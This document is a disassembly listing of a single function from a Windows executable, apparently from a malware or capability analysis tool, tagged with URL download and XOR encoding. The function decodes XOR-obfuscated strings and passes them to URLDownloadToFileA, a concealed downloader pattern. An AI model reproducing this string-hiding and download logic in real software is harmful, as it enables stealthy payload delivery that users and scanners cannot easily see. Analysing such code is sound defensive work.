Function at 0x140041690
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x1401290c0]
xor rax, rsp
mov qword [rbp + 0x37], rax
movups xmm0, xmmword [0x140115de8]
movups xmmword [rbp - 0x29], xmm0
mov eax, dword [0x140115df8]
mov dword [rbp - 0x19], eax
movzx eax, byte [0x140115dfc]
mov byte [rbp - 0x15], al
xor r8d, r8d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14004182d
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 7], xmm0
lea rcx, [rbp - 0x25]
mov edx, dword [rbp + 7]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140041720
cmp r8d, 0x15
jge 0x140041873
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140041840
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], 0
mov qword [rbp + 0x2f], 0
lea rax, [rbp - 0x29]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140041895
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 0x17]
call fcn.14004f2f0
nop
mov rdi, qword [rbp + 0x27]
lea r9, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova r9, qword [rbp + 0x17]
mov rax, qword [reloc.WS2_32.dll_ntohs]
cmp rdi, rax
ja 0x1400418f9
lea rbx, [0x14016b368]
cmp rax, 0xf
cmova rbx, qword [0x14016b368]
mov qword [0x14016b378], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140041908
mov rdx, rdi
lea rcx, [0x14016b368]
call fcn.14004fa10
lea r8, [rbp + 0x17]
movups xmm0, xmmword [str.PMNK]
movups xmm1, xmmword [0x140115ef0]
mov eax, dword [0x140115f00]
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm1
mov dword [rbp - 9], eax
movzx eax, word [0x140115f04]
mov word [rbp - 5], ax
cmp qword [rbp + 0x2f], 0xf
jbe 0x140041941
mov r8, qword [rbp + 0x17]
xor ecx, ecx
cmp esi, 2
jl 0x140041a8a
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 7], xmm0
lea rdx, [rbp - 0x25]
mov r9d, dword [rbp + 7]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140041980
cmp ecx, 0x26
jge 0x140041ace
movsxd rax, ecx
lea r9, [rbp - 0x29]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x38
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x26
jl 0x140041aa0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, [rbp - 0x29]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0xf
jbe 0x140041b29
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041b24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041b24
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c146c
movzx eax, bl
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400c11b0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret